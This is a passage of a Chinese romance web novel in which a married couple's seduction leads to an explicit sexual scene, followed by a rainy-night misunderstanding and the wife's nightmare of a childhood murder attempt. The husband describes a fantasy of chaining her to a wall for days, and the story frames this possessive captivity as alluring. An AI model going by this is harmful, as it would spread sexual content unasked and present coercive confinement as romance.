阿深看了一眼疼得皮肤发红的陆京御,觉得江凝烟说得对,劝道:“陆总,没事的,有老婆疼爱是幸福,不丢人。” 江凝烟连连点头,把他请出去,“他口是心非,再喊你进来,别进来了哈。” 门嘭的关上。 锁死。 江凝烟走过去,蹲在陆京御面前,跟他说:“没事哒,在我面前,就算疼哭了都不丢人。” 陆京御:“……” 你还想看我哭? 你做梦。 你这都是些什么癖好? 后面的医生说:“你老婆很温柔啊,真幸福。” 江凝烟听了都想笑。 也不能怪医生,人家专注地在处理伤口,根本没空看她是什么表情,只是耳朵里听见了些。 陆京御:“……” 全世界都眼瞎了是吧? 他是全世界最可怜的人。 但他又想:会被他的身体吸引注意力了,是不是今天的事也没那么怕了。 这样也好,不害怕就好。 唉。 就让他疼死也没人心疼吧。 医生的滚轮椅滚开,在边上准备缝针的材料。 江凝烟趁机站起来,直接把坐着的陆京御脑袋按在自己怀里,十分温柔地抱着他,“要缝针了。要疼死了。给打麻药吗?” 江凝烟今天就穿了件低领的白底黑印花的开衫,就贴身那么一层。 陆京御脸被她按在胸口,眼前是她细腻的肌肤。他闭上眼睛,鼻尖全是她身上淡淡的令人迷醉的香气。 她身上的香水味已经很淡了,更多的是身体本身的香味。这种味道就像是暮色里摇曳的玫瑰,任何黑暗与未知都不能削减她的吸引力,哪怕摸黑摘瑰八成被刺。 陆京御浑身身体再次紧绷,就像刚才被清理伤口一样,双拳在膝盖上死死攥紧。 明知道她没什么真心甚至连同情心都没有,拥抱他就是为了诱惑他。 但他被…诱惑到了。 医生说:“会用麻药的,不用紧张。” 江凝烟摸摸他的后脑,又将他的脸往自己胸口按了按,“没事,打麻药了。” 陆京御:“直接缝吧。” 心在被灼烧,不如给他来几针狠的,不然他的注意力全在她身上。她一直在挑逗他心里囚禁着的野兽,唤醒它的渴望与饥饿。 浑然不知,真被唤醒了,它会如何贪婪又恐怖。 夜色渐浓,等会回家不知道会发生什么,这种情况下他不可能跟她分开,他希望疼痛将他心里的火熄灭。 医生不敢,“六针呢,按规定来。别耍帅了,老婆都心疼坏了。” 江凝烟连连点头,手指在他完好无损的后颈肌肤那儿温柔抚摸,“嗯嗯,我心疼死了,逞什么强啊,咱们听医生话。” 陆京御:“……” 那麻烦给我来个全麻吧。 昏过去也行。 接下来,没太多疼痛,陆京御缝好了针。 江凝烟从门外保镖那里拿了身陆京御的衣服,选了件西装外套,“我帮你穿。” 陆京御没拒绝,低头哂笑着看着她。 也不给他穿衬衫了,直接上来就是这种深V西装。她在商场里给他买了好几身深V西装。 因为好脱是吗? 江凝烟一本正经地给他穿上,虔诚地低头给他系扣子,一边系一边赞叹这件深V买得真好看,只有一颗扣子。 真诚地希望这个奢侈品牌保持它一贯的品质:新衣服扣子脱线。 江凝烟扯了扯扣子,给他系上,朝他露出意味深长的笑。 陆京御:“……” 勾引,你这朵小玫瑰做好永远盛开在我身边的心理准备了没? 没有,也敢这样勾引。 车里,陆京御把后车窗的玻璃降到了最低。秋日微凉的风从车窗里嘭嘭吹进来,似乎吹进人的身体。陆京御支着下颚,脸偏向窗外,看外面缭乱的灯景,逐渐的,就把心里那些杂念吹散了。 再忍耐一下吧。 万一哪天她非得走,他不得不放,真占有了她,他依旧会愧疚自己趁人之危。 她或许一时兴起,他会自责没有阻止她,纵容了自己。 更何况,他也不确定,占有了她他还有没有理智放手。 暗红的霓虹落在他的脸上,整张脸浸在美妙又暧昧的色调里,光是一个轮廓,就吸人眼眸。 江凝烟一直看着他的侧脸,看了一路。 两人到家已经快十点了。 在陆京御推门进屋的时候,江凝烟伸手抓住了他的手背。 陆京御浑身一怔,瞳孔猛地一缩,甚至都没敢回头,只是视线顺着自己的胳膊从肩膀下移,到了她的手上。 陆京御心脏跳得耳朵像是被捂住了,耳边全是自己的心跳声。 这辈子都没这么紧张过,人生任何一个重要关卡目前为止他都能平和面对,没想到二十八年了,会杀出来一个这么让他难招架的姑娘。 “就今晚,起码,别让我一个人。”她说,声音听起来可怜极了。 陆京御的恻隐之心动了。 今晚商场的事,没有查清楚他也不敢妄下定论。 这可能是一场意外,也可能是有人想对他们下手。 她这么害怕,是默认对方是对她下手。 她姥爷当然有仇人,但人已经死了,对一个小姑娘下手,多此一举。而且,赵家还有她舅舅,她表哥,怎么着政敌也不至于首先对一个小姑娘下手。 更何况还是一个有陆家在的小姑娘。 跟她利益纠葛最大的是江家。 如果真是江家,那她该是怎么小心翼翼地长大的?她又为什么不告诉她姥爷?甚至为什么不住到姥爷家去? 如果在她需要的时候,没有一个人站在她身后。 他不敢想象,她那么小,那么多年,怎么过来的? 他心像是被生生撕扯了两半,裂口参差不齐,他每次呼吸,两边高低不平的裂口摩擦碰撞,拉扯得更加痛苦。 他转身,手顺势握住她的手,婆娑她的手背手心,说:“别害怕。有我在,没人能伤得了你。” 江凝烟圈住他的腰,脸贴到他胸口上,深V西装贴起来很好贴,脸直接贴到了他胸肌,紧致又富有弹性。 她气呼呼的,声音闷得像是马上要哭出来,说:“你光说有你在,晚上又把我一个人丢在房间。” 陆京御:“……” 江凝烟听着他胸口震耳欲聋的心跳声,声音可怜巴巴,“反正是一个人,我晚上回我自己那好了。” 说着,她退出他的怀抱,转身就走。 陆京御猛地拽住她的手腕。没有犹豫,手臂一使劲就把她拉进怀里,死死地抱住。 不可能这种情况下,让她回到自己那。 怀里的人身上引人沉醉的香味又钻入他的鼻尖,她的身子贴着他,两人胸腔里的心脏在隔着胸膛共振。 一来一回,沉重而强烈。 陆京御很想破罐子破摔,因为她身上的一切,就连吻过她的空气都在撕扯他的自制力。 但他仍用自己最后的自制力给自己找了个借口,“你进来睡。但今晚不行,我受伤了。” 江凝烟心里像是有一群绵羊在蹦哒,上蹿下跳,欢乐得很,放在另一侧的手指暗暗激动地颤抖了一下,“没关系,我第一次,你本来就不能使劲。” 陆京御:“……” 他呼吸滞住。 江凝烟眼睛灿亮地盯着他道:“你的腰腹腿部力量,战损了更适合现在的我。” 她眼睛下移,他今天这腰腹力量这腿部力量太惊人了,他俩都斜成那样了,居然能回到地面。 真使劲她第一次得废了。 他战损,配她第一次,刚刚好。 陆京御:“……” 陆京御抱住她失笑,“别闹了行吗?我脏,洗不了澡。” 江凝烟早就想到了,她的小脑袋专注起来什么想不到,“我买了很多防水贴。我帮你贴上你去洗。” 陆京御:“” 第18章 被手摁住的水龙头 “进去吧。我帮你贴防水贴。”江凝烟推开门, 牵着陆京御的手进了房间。 陆京御被江凝烟按在床边。 他敞开着腿,坐在床沿。 江凝烟站在他的腿间,目光落在他的上半身裸露的皮肤上。 边上亮着一盏复古的落地灯, 昏黄的光线落在他胸前的肌肉上,胸前的沟壑清晰明显。即使是坐着,腹部的块状肌肉都块块分明, 没有任何堆叠感, 劲瘦又有型。光线下冷白皮被调成铜色, 像是一尊雕刻的铜像。 腹部到皮带那儿只有一颗扣子挡着。 终于可以解开那颗碍眼的扣子了! 江凝烟睫毛颤了一下, 吞咽了一下, 手指往他腹部的纽扣上探, 心脏在胸口震耳欲聋。 陆京御舌尖顶了下自己的腮帮,看着她手指颤颤巍巍地探向他的扣子。 她倒不是怕得发抖,应该是兴奋的。 他哂笑,她也不知道她要解开的是什么,反正就是有胆子解。 他内心其实也贪婪, 对面的姑娘, 白璧无瑕, 月中聚雪, 她以为他不想要她吗? 他不可能不想要。 她不知道他废了多大的力克制自己的贪婪。 但她却要为难他。 “嘣。” 扣子解开了。 江凝烟手指有些抖, 稍稍用了点力, 这奢侈品牌的西装扣居然直接崩开了。 不亏是奢侈品牌,这钱没白花。 江凝烟把他的西装脱掉。 腰身如想象得般窄劲, 腹肌像是两排冰块, 排列分明。 她很爱陆京御身上的冷白皮, 清冷感十足,但不是白斩鸡, 而是肌肉紧致结实,很带劲。 她下意识地伸手摸了两下,指尖在他肌肤燎原。 陆京御吸了吸腹,江凝烟的眼睛就望向他。 发现他的视线像是要将她都剥开了,赤裸裸的占有欲和侵占性。 她越加激动起来,到底是男人,一撩拨根本忍不住。 她心头发痒,迅速帮他贴好了防水贴。两人分别去洗澡。 澡洗得都很快,陆京御穿的是她给他买的浴袍,腰带松松垮垮地系在腰间,跟刚刚深V西装的暴露程度差不多。 她刚还没摸够,不动声色地看了他一眼,他依旧是刚才那个劲劲的,恨不得将她生吞活剥的眼神。 太好了,洗澡一点都没冲刷掉他的欲望。 她穿着一条单薄的吊带裙,靠近他,指尖碰到他腹肌的时候,他像只豹子一般跃起,将她扑倒压在床上。 江凝烟整个人重心后仰,这种剧烈的动作让她心脏差点跳停。她被他压在床上,肩带都被撞掉了。 他高大的身体压在她身上,压迫感让她瞬间身体温度飙升,他的呼吸在她耳边掀起一阵阵炙热的热浪。 她睁着眼,近距离看见他眼底的占有欲,暴烈得像是雷雨天天上翻滚的乌云。雷电交加。 出于本能,她没吱声,只是睁大眼看着他。 陆京御双手反扣着她的双手,视线剥着她上半身每一寸肌肤,而后喉结滚了下,暗哑地道:“我得最后提醒你一次。” 非常难以启齿。 但陆京御打算好人做到底,最后警告她一次。 他说:“我做过一个艳梦。” 江凝烟脖子微歪,有些纳闷,看起来纯真无辜极了。 陆京御松开一只手,用骨节碰着她的侧脸,一寸一寸地从她的脸侧,滑至她的颈侧,江凝烟轻轻发抖。 “对我来说是艳梦,对你来说,或许是噩梦。” 江凝烟倒吸口气,因为他眼底的阴鸷疯狂。 “我梦见我被你甩了。你逃了,我当然把你逮住了,把你囚禁在我的游轮里。你知道我是怎么对你的吗?” 江凝烟一声不吭,连呼吸都是轻的,屏息注视着他。 “那游轮上有一面墙。我在那墙上钉了四个手铐脚铐。没有锁链缓冲的,只有手铐脚铐。手铐脚铐全都钉在……一面墙上。而你……是躺着的。” 江凝烟忍不住倒吸一口凉气,瞳孔猛地一缩放。 鉴于她丰富的想象力,她立刻能想象出来这是什么姿势。 “要我给你展示一下是什么姿势吗?”他淡淡地问道。 江凝烟已经完全想象出来了! 但她的腿已经被抓起来,分开在半空中。 她心脏怦怦怦地狂跳,膝盖那儿被他捏直,两条腿直直地敞开在半空中,裙摆落到腰间。 他往后压了压她的大腿,脚后跟越过肩膀,脚底心跟她的头顶几乎处在同一平面上,好像那儿就是有堵墙。她的脚裸被钉在墙上。 江凝烟的心脏跳动得骤而烈,像是要炸掉,整个人如同被火烧了。他什么都还没做呢,她呼吸已经彻底乱了。 陆京御声音哑哑的,视线落在她身上,看着她胸口剧烈起伏,带着滚烫的火星子,说:“腿就这样别动。等会我帮你调整一下手的姿势你就知道了。” 江凝烟其实不调整她也知道了!她也是上京大的脑子! 陆京御已经抓起她的手,手腕摁在虚拟的墙上,跟脚裸接近,处于同一平面。 她躺着,手脚被铐在同一面墙上。 她将在他面前完完全全地展现她的身体、她的…… 陆京御摁着她的腿,眼神贪婪地注视着她。好似在让她记住这种感觉,烙进她的心底,“这样,几天几夜。” 江凝烟浑身起了阵战栗的鸡皮疙瘩,不敢置信地说:“你会这样?” 这…… 这也太…… 陆京御默不作声地把她的腿放下来并拢,身体依旧压在她身上,禁锢住她,说:“我也觉得我不可能这样对你。” 江凝烟居然说不清是松口气还是失望,反正很混乱。 “但是。” 江凝烟又提了口气。 陆京御接着说:“我还梦见过顾御洲破产,后来他家真破产了。” 江凝烟倒吸一口气。 “这玩意真有点玄。”陆京御说,“这两天我越发觉得就你这表现,说不定真能把我惹成变.态。” 江凝烟眼镜睁得圆圆的。 大哥你玩这么刺激的吗?!!! 这有点太刺激了吧?!!! 这姿势她穿着内衣都觉得羞耻爆了。 江凝烟屏息,羽毛般的睫毛上上下下眨了好几下,审视他:“你不会是骗我的吧?” 想吓唬她,让她今晚放弃跟他做。 对对对,肯定是这样,越想越觉得是这样。 陆京御唇角勾起抹讳莫如深的笑,但江凝烟读懂了,他在笑她居然不信。笑她居然给了她机会还不停止惹是生非。 他捞起她的腿压住,低头在她耳边,声音很坏很哑地说:“试试就知道了。” 江凝烟肾上腺激素飙升,感觉晕晕乎乎得有点跟不上他的思维了。 怎么试? 陆京御撩了她一眼,眼神带钩子似的,又带着强烈的侵略性,说:“梦里你跟水龙头没区别。” 江凝烟还没反应过来的时候,陆京御已经俯身。 江凝烟倒吸一口气,“!!!!!” 奇异感让她立刻抬起身来,但被他眼皮都不抬地摁倒。 她的心脏霎那间像是失控的卫星脱了轨,极速从太空坠落,在大气层撞出一团焚烧的火焰。 她看着他黑发的发心,瞬间连伸手去抓都没力气。 外面忽然下起了暴雨,啪嗒啪嗒连续拍打在地面上。 江凝烟蜷在床上,蔫哒哒地卷着被子,哪怕浑身黏糊糊的,又是汗又是水她也不肯松开被子。 陆京御靠了过来,她像条毛毛虫一样把他扭开,“你去漱口啊。干嘛还不漱口?” 陆京御挑了下湿哒哒的眉梢,睫毛上还挂着水,眨在眼周还有潮气。整个人湿得更昳丽俊美了。 江凝烟看见了,还没褪下去的红晕又升上来了,气呼呼地道:“脸,也去洗!” 陆京御凑过去,下巴搁在她肩膀上,声音像是含了砂铄,哑透了,“那梦感觉像是真的。你就像是被手指摁住的水龙头。” 江凝烟:“……” 这比喻。 她脸上的温度能煎鸡蛋,整个人都红温了。 那是他推了她好多好多次。 她真不知道原来是这种感觉。最后是濒死的爽感。过多,真的会承受不住。 陆京御浑身湿淋淋的,手臂上脖子上还在淌水,水都弄湿她裹的蚕丝被了,他视若无睹,正儿八经地分析,“能像水龙头的概率挺小的,所以,梦应该是真的。” 陆京御其实觉得她可爱得不得了,尤其刚才他对她那样了,看到了,吻到了,他心里软到像是铺满了棉花,他其实不想吓唬她,只想好好疼爱她。揉进怀里,告诉她他很喜欢她。 但他只能吓唬她,告诉她要是没打算喜欢他,该及时止损。 真甩了他,保不准他真发疯了。 他声音低下去,冷了几度,“梦里,我绑住你欺负你,把你弄到晕过去。” 江凝烟裹着被子眼神定住。 “烟烟,我从来没有很想要什么,却得不到。没开始也就罢了,如果开始了,你甩了我,说不定我真会大受刺激,我从来没有这种经历,会变成什么样,我自己心里都没底。” 江凝烟眨了下眼。 “所以,别闹我了。”- 陆京御拉开落地窗,走到阳台上。冷风吹上来,好久都没把他无处释放的激动的热情压下去。 他敞腿坐在阳台椅子上,靠着后背,身体还很燥热,却又湿得像是被水里捞出来的。 但他也不想进浴室清洗。 他不觉得脏,没清洗的必要。 他甚至有些贪恋,他此刻像是条鱼儿,连呼吸都需要这些水分。 他其实也很难受。 身体和心理双重难受。 他想到她被他手指捏红的腿部皮肤,想到她的战栗,想到她难得不跟他犟,乖顺又柔软。 本该温存的时候,跟她说那样的话,这样丢下她,自己跑到阳台上来,她是不是会不开心? 她就算不走心,他这种态度也挺扫兴的吧? 估计会惹她不开心。 应该不会再挺而走险再来撩拨了。 甚至可能会,生他气。 第19章 “我以后不会再闹你了。” 暴雨如注, 整座别墅笼罩在雨雾中。 陆京御越坐越觉得自己挺不好的。 说是想给她最后一次机会,让她别再招惹他,但是, 他眼前浮现的是娇娇嫩嫩的带水的粉色玫瑰花。 冰冷的雨气萦绕着他,但他好像还在刚才的玫瑰雨林里迷醉沉沦。 更难舍了。 分明在劝她,想好了再跟他在一起, 但此刻他已经不确定, 她想离婚他还愿不愿意放手。 十分不情愿。 以前他看顾御洲为了宋枝意要死要活的, 不能理解, 碰到江凝烟开始懂了。有些人就是上天派来让他们这种过得太好的人吃苦的。 他坐了半响, 起身。 转身拉开玻璃门, 看见床上已经没人了。 他瞳孔一缩,强烈地感受到自己心脏像是被刺了一刀,浑身的血液像是被冻住了。 真的生气了? 被他吓跑了? 陆京御忙不迭地走出房间,长腿交叠,疾步朝门外走去。 隔壁的屋子里也没有光透出来。他们家的车库在侧面, 她要是开车走了, 刚才他的角度他确实不一定能发现。 他打开手机, 看了眼监控。 发现车库监控里确实有红色法拉利离开的身影。 真的走了! 陆京御:“……” 一言不合就离家出走是吗? 陆京御心脏紧缩, 是他不好, 说好了今晚要陪她, 起码今晚要陪她,跟她说些有的没的吓唬她。 陆京御套上西装, 去她家找她。 他打了她电话, 电话通着, 就是无人应答。 陆京御急得上火,越想越觉得今晚自己很恶劣。 点到为止提醒她就好了, 非得对她做那些,做完之后,还吓唬她,丢下她。 其实是他想对她做吧。 他悲哀地发现,就是他想对她做那些。 路上雨很大,暴雨砸在车上雨刮器根本来不及刮,视线模糊,路上到处都是积水,她开山路不知道会不会有危险。 陆京御的车速贴着限速开的,全程拉得比较快,今天他没有开one77,让司机开的劳斯莱斯,怕雨天等会接她回家不安全。 他在车上接连打了几个电话还是无人接听。 陆京御眉心紧蹙,心急如焚。 “哟。前面出车祸了。”司机大哥说。 陆京御心脏骤停,摇下车窗,他看见有辆红色跑车车身都被撞烂了,瞳孔猛烈一缩。 烟烟! 他的血液凝住! 陆京御猛地推开车门,暴雨如一颗颗子弹般打在他身上,他眼睛像是被雨水蒙住了,张口刀割般的冷风夹杂着子弹般的雨水灌入他的喉咙,他声音哽咽,“江凝烟!烟烟!烟烟!” 现场车祸很严重,一片混乱,根本不知道车主有没有被救,是不是还在车里。 陆京御冒雨狂奔到红色法拉利的驾驶座边,隔着厚厚的雨幕光线暗沉根本看不清里面有没有人。 “烟烟!”车门被从里面反锁了。 雨水从他头上灌进他脖子里,冷得他牙齿发抖,“烟烟!嘭嘭嘭!” 他眼睛发疼,眼泪和着暴雨狂飙,疯狂地拍玻璃窗,战栗地嘶吼道:“烟烟!烟烟!” “御哥,你怎么来了?你干什么啊?”裴清誉从另一侧出来,撑着把黑伞,帮浑身上下湿透的陆京御遮雨。虽然他已经完全湿透了。 陆京御定住,猩红的眼睛转向他。 “你拍我的车窗干嘛?已经够烂了,你想帮我承担点?”裴清誉混不吝地笑道。 陆京御:“……” 小誉…… 这是小誉的法拉利…… 陆京御狠狠松了口气。他重重地闭上眼睛深呼吸。 此生第一次爆粗话:“草。你没事大半夜大暴雨的还在外面乱玩?” 裴清誉:“……” “哥那你顺便送我回家吧,家里司机等会会来处理。” 陆京御没好气,“不顺。自个儿等着去吧,我有急事。”- 江凝烟车就停在路边,打了双闪,撑着伞下了车,进自己家。 李佳盈刚给她打了电话,快急哭了。她的小狗吧唧忽然生病了,病得奄奄一息。 小吧唧是才六个月大的马尔济斯犬,是江凝烟买来哄失恋的李佳盈的。 自从有了巴唧,李佳盈再也没骂过狗男人,因为她觉得骂他狗都亵渎了她家巴唧。 她对巴唧宠爱得不得了。 忽然生病,暴雨又打不到车,急得不行,这才打电话给江凝烟。 江凝烟听见电话里李佳盈在哭,立刻赶来了。 江凝烟推门进去,“它还好吗?把吧唧抱出来,我们送它去医院。” 李佳盈泪眼汪汪,“好。” 两人出门,李佳盈给吧唧裹得严实,深怕雨水溅到她,江凝烟给她们撑伞。 一走到外面。 江凝烟忽然怔住。 铁栏栅外,数道强光射着一个修长的人影。 门外的陆京御一身西装笔挺撑着把透明的伞站在雨中,他头发好像是湿的,随意地往后撩,撩成了背头,依旧硬帅。 橘红的灯光落在布满细小水珠的伞面上,湿濡的伞面模糊又柔和地溶化在雨雾里,像是给他修长墨黑的身影打了柔光,光晕一棱一棱的,氛围唯美到让人心脏忍不住悸动。 怎么他一来,好像暴雨变成细雨了? 雨确实小了些。 男人的视线隔着铁门望过来,视线浸在雾气中,居然觉得水润润的,他静默不语地等着她出来,眼神像是要在她身上盯出两个洞来。 江凝烟看着他,目光一直没从他身上挪开,径直朝他走过去。 “one77?那个帅哥?怎么来我们家门口了?”李佳盈好奇地问。 李佳盈还不知道江凝烟就是One77的老婆。 她跟江凝烟因为工作相处,知道江凝烟的笔名,却一直不知道江凝烟跟陆京御都结婚了。 江凝烟悄声跟李佳盈说:“勾搭他呢。还真跑来了,你别露馅了啊。” 李佳盈给了她一个你真牛逼的眼神。 江凝烟看见他开的是劳斯莱斯,“他来得正好,让他司机送你和吧唧去医院吧。雨天路滑,我的法拉利容易出事。” 李佳盈心领神会,贼兮兮地朝她笑,“好,不打扰你们了。” 江凝烟开了门就对陆京御说:“能不能麻烦司机大哥把李佳盈和她生病的小狗送去医院?” 陆京御:“好。” 劳斯莱斯开走了。 夜风簌簌,细雨横斜,陆京御的伞檐下挂了一串串细珠,淡淡的一团一团浮漾在空气中的水气萦绕在他周身,像是被他眼神灼出的蒸气。 两人隔着细细的雨帘相望,久久没出声。 良久,他特大号的伞遮住了江凝烟的伞,说:“给你打了很多电话没接。” 江凝烟刚才在开车的时候,手机从中控台滑到了副驾驶座位的缝隙里,一直有电话,她还以为是李佳盈等急了。 “手机掉进座位缝隙里了,还没来得及拿。” “下次出门,能跟我说声吗?” 江凝烟低头,鞋尖踩了下路上微小的水团,“你不刚好想吓跑我吗?” 她觉得这男人,得管教一下。 一直让她追,追就追了,还动不动竖一道隐形的墙,让她碰壁,没见过这么难搞的男人。 陆京御心脏被捏住了,单臂将她搂进怀里,手抚着她后背。他刚才在车里换了身西装倒是没弄湿她。 江凝烟不饶他,低声说:“我以后不会闹你了。” 陆京御身体僵住,变硬,抚着她后背的手也顿住。 江凝烟:“你满意了吧。” 陆京御不满意。 他只是希望她好好地跟他在一起,希望她很爱他,希望她跟他过一辈子。吓唬她不是真希望她退缩,而是希望她真心跟他过。 但这是江凝烟面对他的威胁的解决方案,她也不想真被绑几天几夜弄到晕过去,那就让他们之间,从今天开始,由他亲自迈过界限。 这样,哪天她要自由,他没理由不给。 要是他不主动,她就不玩了,反正,她也初步有了体验。 陆京御梦里那种玩法,按照她今天的体验,她最多能承受半小时到一小时,真几天几夜真会被弄死。 还是小命要紧。 她从他怀里退出来,眼睛盯着他,下唇撅起,说:“我听你的话,不闹你了。” 陆京御看着她,一时间沉默,他觉得周身的雨气呼吸进去都化成了细碎的刀子割得他肺疼。 江凝烟转身。 陆京御猛地回神,跟了上去。 江凝烟在前面走,陆京御在她身后帮她撑伞,跟着她。 江凝烟走到屋檐下,又转身,眼眸注视着他,暗含火光,“我乖乖回自己家了,还不行吗?” 陆京御滚了下喉结,声音在雨的浸润下依旧显得有几分苦涩,说:“说了今晚不让你一个人。” 江凝烟看着他,发现他天生发红的红眼尾好像更红了,她心尖莫名抖了下,“我这儿没地方让你睡。” 陆京御毫不犹豫地说:“我睡客厅。” 屋檐下站得略显拥挤的几个保镖眼睛都不敢乱瞟一下。 他们听见了什么? 果然,男人地位再高都免不了吵架的时候被老婆赶出房门。 江凝烟打开门,压下翘起来的唇角,走了进去。 江凝烟的小别墅客厅就是大书桌,也是整面书架,她就喜欢在视野开阔的地方写东西。 陆京御打量着她的世界。 “你自己要进来的,别回头又说我招你进来。”江凝烟警告他道。 陆京御刚扬起的唇角拉直,黑眸注视着她,脸上还带着雨水的潮气,看起来居然有几分可怜,“嗯。” “不是我逼你哄我你才进来的。”江凝烟接着说,“我没期待你哄我。你想跟我保持距离,我百分百遵从你的意愿。” 陆京御眸色更暗,“嗯。” 江凝烟:“……” 变成嗯嗯怪了吗? 江凝烟说:“好吧。那你随意,我进屋了。” 陆京御目送她上楼。 然后,低头在边上一个升降书桌上,意外看见摊开画了一些难以言喻的画作,顿时变了脸色。 陆京御:“……” 江凝烟这时正爬在旋转楼梯最上面,低头刚好看见李佳盈的“巨作”!!! 李佳盈画了一个被红丝带缠着腿的姑娘,在跳芭蕾吊环舞,穿得清凉,比不穿还性感,姑娘腿拉成一字型舞姿舒展地在空中,边上一个衣着完好的西装男人。手还伸到人家姑娘 江凝烟飞也似的跑下来! 陆京御见她咚咚咚地跑下来,大惊失色的模样,问:“你还画画?” 江凝烟抢过第一张画,结果第二张画更离谱! 还是姑娘缠着丝带跳芭蕾吊环舞,但西装男坐着的,角度从下往上看那姑娘,什么都看得一清二楚。 她居然画这种画! 李、佳、盈! 这个色女! 又看什么颜色小说,还把它给画出来了? 她仔细看了眼,上面还有作品名称,人物名称。是出自清水文学城的。 哦,那不是颜色小说,那是李佳盈她没看爽,自己补足了。 江凝烟忽地想起刚才在陆京御家里的画面,脸上有些烫,赶紧把自己摘干净,说:“这是我朋友画的。” 陆京御幽深的眼神瞥过来,“你没画吧?” 江凝烟立刻否认,“我没画。” 陆京御居然不大信的样子,“拿去卖过吗?会被抓。” 江凝烟:“我真没画!” 陆京御:“哦,还以为你找我,是为了灵感。” 江凝烟:“……” 男人的直觉不是不准吗? 这哥为什么这么准? 还他爹做预知梦,谁他爹坑得了你? 江凝烟把他拉开,“别看人家东西,不礼貌。” 陆京御环顾这里,“你家为什么有朋友住?” 江凝烟说:“工作关系经常要讨论问题,就让她来这儿工作了。她晚上不睡这儿,估计今天加班晚了。” 陆京御:“工作关系?你们的工作是一起画那种画吗?” 江凝烟:“……” 洗不干净了。 江凝烟说:“不是。那是她画着玩的,她确实是漫画家,但大家都知道那东西不能卖啊。” “她是漫画家,你是什么?”陆京御好奇地问。 江凝烟瞎掰道:“我想搞个漫画动画平台,先把顶级画师囚禁一个。在跟她一起讨论怎么做呢。” 陆京御:“你想做漫画动画平台?” 江凝烟点点头。 陆京御:“18/禁的?” 江凝烟:“……” 大哥你到底为什么就认定我是从事涩情行业的?!! 江凝烟气呼呼地道:“正规平台!” 陆京御依旧不放心地叮嘱道:“注意尺度。” 江凝烟咬牙切齿,“不会被抓!” 陆京御那眼神将信将疑。 江凝烟觉得楼下有太多李佳盈的东西,为了防止明天李佳盈买块豆腐撞死,把陆京御拉到二楼,“算了,你在楼下不大方便,跟我睡二楼吧。” 陆京御心脏猛地一跳,眼睛倏地亮了。 江凝烟见他这样,内心冷笑。 合着她撩了半天,都白撩了,这哥好像也很想啊。 那还让她撩,还表现得欲拒还迎。 江凝烟那颗鲜红的心脏装上了犄角,笑成暗紫色小恶魔,“就是二楼没有沙发。” 陆京御呼吸放轻,刚才清澈的瞳仁眸色转深。 江凝烟拉长声调,状似犹豫地说:“啊……那你……” 陆京御眼底亮晶晶地盯着她,像是这山上的星星都落入了他的眼底。 江凝烟非常抱歉地说:“委屈你睡我的椅子吧,靠椅可以放倒。我帮你找条被子。” 陆京御:“……” 第20章 除了自己没人值得信任 江凝烟进了屋。 陆京御想跟着进屋, 被她拦在门外。 “你等着。” 陆京御脚步顿住。 “嘭。” 门关上了。 一分钟后,门打开,江凝烟从屋里拿了一条毯子, 把毯子递给他,“你睡这间书房吧。” 陆京御伸手接过毯子,沉默地注视着她。 江凝烟也没说话, 又进了屋。 陆京御看着她的背影怅然。 一分钟后, 江凝烟又出来了, 给他拿了个吹风机, “晚安。” 陆京御接过, 吹干了头发, 把她的椅子搬来调平,躺在上面深深地吐了口气- 当晚。 山间的别墅静谧。 窗外的树枝随着风雨摇曳,夜间的雨一直没停,砸在窗户上嘭嘭嘭的,急骤又猛烈, 像是人恐惧到极致的心跳声。 江凝烟梦见了十年前的那个夜晚。 那时候年幼无知, 错把魔鬼当成救赎。被恶鬼缠上, 在那条狭窄的巷子里狂奔。 那年她的腿很短, 力气也不如现在这么大, 她不过十岁左右, 对方比她大好几岁,个子比她高, 速度比她快, 力气比她大。 被追上就完蛋了!她心慌意乱地想。 “嘭!嘭!嘭!” 心脏像天上的惊雷, 震耳欲聋。 她恐惧得腿软,更加跑不快, 依旧跌跌撞撞地往前冲。 再快一点,再快一点,再快一点。 雨砸在她脸上,有时候不巧砸到眼睛里,模糊她的视线,她看不清前面,颤抖着手抹眼睛,焦急得哭泣。 她脚下一滑,猛地摔倒在雨里,地上的碎石磨疼了她的膝盖,她命令自己的腿忍住剧痛,爬起来接着跑。 但是恐惧像是一张巨大的渔网,而她就是那条被捞在船上完全无法游动的鱼。 一只手逆光伸过来,像是恶魔的爪子,扯住她的头发,她头皮一阵剧痛。 那人背着光看不见表情,却狰狞得如此清晰,“我妈也死了,你得怎么惨死才能偿命啊?啊?” 她头皮又被重重扯了一下,她疼得飙泪,“别杀我……我真的帮你求过我姥爷了……我真的,别杀我……” 那人不怎么相信,“哦?求了也没用啊?那你不是废物吗?” 那人阴森地笑着,脸上流下来的雨像是一道道血痕,“你确实活着多余,这次是你爷爷喊我来做掉你的……” 她伸手去掰她的手。 那人邪笑,“唉哟,所有人都希望你消失,还挣扎什么呀,乖乖去死吧……” “烟烟!烟烟!嘭!嘭!嘭!”分不清谁在叫她。 她的喉咙被勒住,她痛得窒息。 “烟烟!没事!是噩梦!我在!” 江凝烟神志从混沌中拔出,猛地坐起,胸口剧烈起伏,浑身冷汗淋漓。 “烟烟!醒了吗?可以开门吗?” 江凝烟喘息着,眼神直愣愣的,放空着搞不清状况。屋里漆黑一片,一点光都没有,注意力自然而然在听力上,有人在拍她门。 有人在喊她。 “烟烟?做噩梦了吗?还好吗?” 是陆京御的声音。 “能应一声吗?可以开门吗?” 江凝烟深吸了一口气,又缓缓吐出,胸口的心跳依旧快得发慌。 她不肯开门。 只有她一个人的时候才是最安全的。 狮子、狼、老虎都知道受伤的时候躲起来独自舔伤口。 这就是丛林世界。 独自一人才是安全的。 “我没事,睡吧。”她声音还颤抖着,带着喘息。 门外沉默了一会。 她以为他去睡了,心里说不清什么滋味,缓缓地躺在床上,而后把被子给自己盖结实。 她眼神放空,呆呆地注视着天花板。 不要怕。 你已经长大了。 没那么弱小了。 你可以保护自己。 没人能伤得了你。 床头柜的手机忽然响起来。 她被吓了一跳。 同时她听见陆京御更温柔地说:“不想我进来的话,我们打电话好吗?” 江凝烟犹豫了下,铃声一直在响。 她好久好久好久没哭了,这时候有些鼻酸有些脆弱。 她吸吸鼻子,稳住声音说:“我想睡了。” 电话声音结束。 他柔声说:“我在你门外守着,好好睡,别害怕。” 江凝烟闭上眼睛。 陆京御的手握成拳,撑在门上,微微发颤。 他听见的不多,只听见她在求饶,求对方别杀她。声音可怜极了,每一声柔软纤细的求救声都像是锋利的刀片割在他心上。 要是,要是刚才他没警告她就好了。 起码这会他能在她身边,抱住她,哄着她睡。 他额头抵在她的门上,心脏缩成一团。 书房里的钟声滴滴答答,走了很久,里面不再有动静,他才逐渐松弛下来。 